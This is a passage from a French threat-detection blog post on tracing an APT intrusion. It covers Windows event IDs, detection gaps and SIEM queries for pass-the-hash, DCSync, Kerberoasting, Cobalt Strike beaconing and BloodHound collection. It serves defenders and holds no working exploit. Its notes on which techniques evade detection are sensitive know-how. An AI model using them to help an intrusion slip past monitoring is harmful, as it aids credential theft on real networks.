class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span></code></pre></div></div>
<p><strong>Ce que cela génère dans les journaux Windows sur la cible :</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Event ID: 4688 (Création de Processus)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Processus Créateur : C:\Windows\explorer.exe</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Nouveau Processus : C:\Windows\System32\cmd.exe</span><br></span></code></pre></div></div>
<p><strong>Aucun</strong> Event ID 7045 (service installé), <strong>aucun</strong> 5140/5145 (accès partage), <strong>aucun</strong> 4648 (ouverture de session explicite). Les deux ID d'événement sur lesquels la plupart des détections de mouvement latéral sont construites sont absents.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-3--ce-que-capte-la-télémétrie-et-ce-quelle-rate-silencieusement">Section 3  Ce Que Capte la Télémétrie et Ce Qu'Elle Rate Silencieusement<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#section-3--ce-que-capte-la-t%C3%A9l%C3%A9m%C3%A9trie-et-ce-quelle-rate-silencieusement" class="hash-link" aria-label="Direct link to Section 3  Ce Que Capte la Télémétrie et Ce Qu'Elle Rate Silencieusement" title="Direct link to Section 3  Ce Que Capte la Télémétrie et Ce Qu'Elle Rate Silencieusement" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ce-que-les-edr-détectent-bien">Ce Que les EDR Détectent Bien<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#ce-que-les-edr-d%C3%A9tectent-bien" class="hash-link" aria-label="Direct link to Ce Que les EDR Détectent Bien" title="Direct link to Ce Que les EDR Détectent Bien" translate="no">​</a></h3>
<table><thead><tr><th>Technique</th><th>Méthode de Détection</th><th>Fiabilité</th></tr></thead><tbody><tr><td>Profil Cobalt Strike par défaut</td><td>Scan mémoire des caractéristiques PE de la balise</td><td>Haute</td></tr><tr><td>Injection <code>CreateRemoteThread</code></td><td>Sysmon Event ID 8, source/cible anormale</td><td>Moyenne-Haute</td></tr><tr><td><code>OpenProcess</code> direct vers LSASS</td><td>Instrumentation par callbacks kernel</td><td>Haute</td></tr><tr><td>Binaire Mimikatz sur disque</td><td>Signature AV</td><td>Haute</td></tr><tr><td>Abus LOLBin courants</td><td>Création de processus + ligne de commande</td><td>Moyenne</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="où-la-détection-échoue">Où la Détection Échoue<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#o%C3%B9-la-d%C3%A9tection-%C3%A9choue" class="hash-link" aria-label="Direct link to Où la Détection Échoue" title="Direct link to Où la Détection Échoue" translate="no">​</a></h3>
<p><strong>Usurpation de token  couverture de détection quasi nulle :</strong></p>
<p>Quand un attaquant appelle <code>ImpersonateLoggedOnUser</code> ou duplique un token via <code>DuplicateTokenEx</code> + <code>CreateProcessWithTokenW</code>, le processus résultant hérite du token victime. L'Event ID 4688 montre l'utilisateur usurpé comme créateur du processus  cela ressemble à un lancement légitime.</p>
<p><strong>Pass-the-hash  le signe révélateur est un seul champ que presque personne ne vérifie :</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Event ID: 4624 (Ouverture de Session)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Type d'Ouverture de Session : 3 (Réseau)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Package d'Authentification : NTLM</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Longueur de Clé : 0       &lt;-- C'EST LE SIGNE RÉVÉLATEUR</span><br></span></code></pre></div></div>
<p>La Longueur de Clé de 0 dans une ouverture de session NTLM de Type 3 indique qu'aucune clé de session n'a été négociée  caractéristique du pass-the-hash. Ce champ n'est presque jamais inclus dans les règles de corrélation SIEM standard.</p>
<p><strong>DCSync  détecté seulement si la politique d'audit est correcte :</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Event ID: 4662</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Propriétés : DS-Replication-Get-Changes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">               DS-Replication-Get-Changes-All</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Sujet : CORP\jsmith    &lt;-- doit être un compte machine, pas un utilisateur</span><br></span></code></pre></div></div>
<p>Un événement 4662 où le sujet est un <strong>compte utilisateur</strong> (pas un compte <code>$</code> machine) demandant des droits de réplication est un vrai positif inconditionnel  il n'a aucune explication légitime dans un environnement normal.</p>
<p><strong>Kerberoasting lent et discret  aucune anomalie de volume à détecter :</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Event ID: 4769 (Opération sur Ticket de Service Kerberos)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Type de Chiffrement : 0x17   &lt;-- RC4-HMAC : c'est le signe révélateur</span><br></span></code></pre></div></div>
<p>Le type de chiffrement <code>0x17</code> (RC4-HMAC) pour une demande TGS, quand AES est disponible et attendu, est anormal. Si vos comptes de service ne supportent que AES, toute demande RC4 est impossible en fonctionnement normal  ce qui en fait une détection à zéro faux positif.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-4--les-trois-points-de-contrôle-de-détection-que-vous-devez-remporter">Section 4  Les Trois Points de Contrôle de Détection que Vous Devez Remporter<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#section-4--les-trois-points-de-contr%C3%B4le-de-d%C3%A9tection-que-vous-devez-remporter" class="hash-link" aria-label="Direct link to Section 4  Les Trois Points de Contrôle de Détection que Vous Devez Remporter" title="Direct link to Section 4  Les Trois Points de Contrôle de Détection que Vous Devez Remporter" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="point-de-contrôle-1--détection-du-beaconing-c2">Point de Contrôle 1 : Détection du Beaconing C2<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#point-de-contr%C3%B4le-1--d%C3%A9tection-du-beaconing-c2" class="hash-link" aria-label="Direct link to Point de Contrôle 1 : Détection du Beaconing C2" title="Direct link to Point de Contrôle 1 : Détection du Beaconing C2" translate="no">​</a></h3>
<p><strong>Analyse de gigue d'intervalle de connexion (Splunk)</strong></p>
<div class="language-spl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-spl codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">index=proxy dest_category=external action=allowed</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval interval=_time</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort src_ip dest_ip _time</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| streamstats window=2 current=t by src_ip dest_ip</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    last(_time) as prev_time</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval gap = _time - prev_time</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where gap &gt; 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| stats</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    count          as req_count,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    avg(gap)       as avg_interval,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    stdev(gap)     as jitter,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    min(gap)       as min_gap,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    max(gap)       as max_gap</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    by src_ip, dest_ip</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where req_count &gt; 20</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AND avg_interval &gt; 20</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AND avg_interval &lt; 300</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AND jitter &lt; 15</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AND (max_gap - min_gap) &lt; 60</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| table src_ip, dest_ip, req_count, avg_interval, jitter</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort jitter</span><br></span></code></pre></div></div>
<p><strong>Correspondance d'empreinte JARM</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">python3 jarm.py domaine-suspect</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">.</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">com </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-p</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">443</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Hashes JARM Cobalt Strike connus (défauts 2023) :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 2ad2ad0002ad2ad22c42d42d000000032d2ad2ad2ad2ad2ad0ad23abf4b834</span><br></span></code></pre></div></div>
<p><strong>Ancienneté du certificat + fraîcheur de l'infrastructure (Python)</strong></p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> ssl</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> socket</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> datetime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">verifier_indicateurs_c2</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">domaine</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    indicateurs </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ctx </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> ssl</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">create_default_context</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">with</span><span class="token plain"> ctx</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">wrap_socket</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">socket</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">socket</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> server_hostname</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">domaine</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> s</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        s</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">connect</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">domaine</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">443</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        cert </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> s</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">getpeercert</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        not_before </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strptime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            cert</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'notBefore'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"%b %d %H:%M:%S %Y %Z"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        age_cert </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">utcnow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain"> not_before</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">days</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        indicateurs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'cert_recent'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> age_cert </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">30</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Cert récent : suspect</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> whois</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    w </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> whois</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">whois</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">domaine</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> w</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">creation_date</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        reg_date </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> w</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">creation_date</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">isinstance</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">w</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">creation_date</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">list</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token plain"> w</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">creation_date</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        age_domaine </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">utcnow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain"> reg_date</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">days</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        indicateurs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'domaine_recent'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> age_domaine </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">90</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    indicateurs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'score_suspicion'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">sum</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        indicateurs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'cert_recent'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        indicateurs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'domaine_recent'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> indicateurs</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="point-de-contrôle-2--détection-de-la-collecte-bloodhound">Point de Contrôle 2 : Détection de la Collecte BloodHound<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#point-de-contr%C3%B4le-2--d%C3%A9tection-de-la-collecte-bloodhound" class="hash-link" aria-label="Direct link to Point de Contrôle 2 : Détection de la Collecte BloodHound" title="Direct link to Point de Contrôle 2 : Détection de la Collecte BloodHound" translate="no">​</a></h3>
<p>Condition d'alerte : <strong>plus de 150 entrées Event ID 1644 depuis une seule source non-DC en 5 minutes.</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Activer sur tous les DCs :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics" /v "15 Field Engineering" /t REG_DWORD /d 5 /f</span><br></span></code></pre></div></div>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"query"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token property" style="color:hsl(256, 54%, 50%)">"bool"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token property" style="color:hsl(256, 54%, 50%)">"must"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"term"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"event.code"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"1644"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"range"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"@timestamp"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"gte"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"now-5m"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token property" 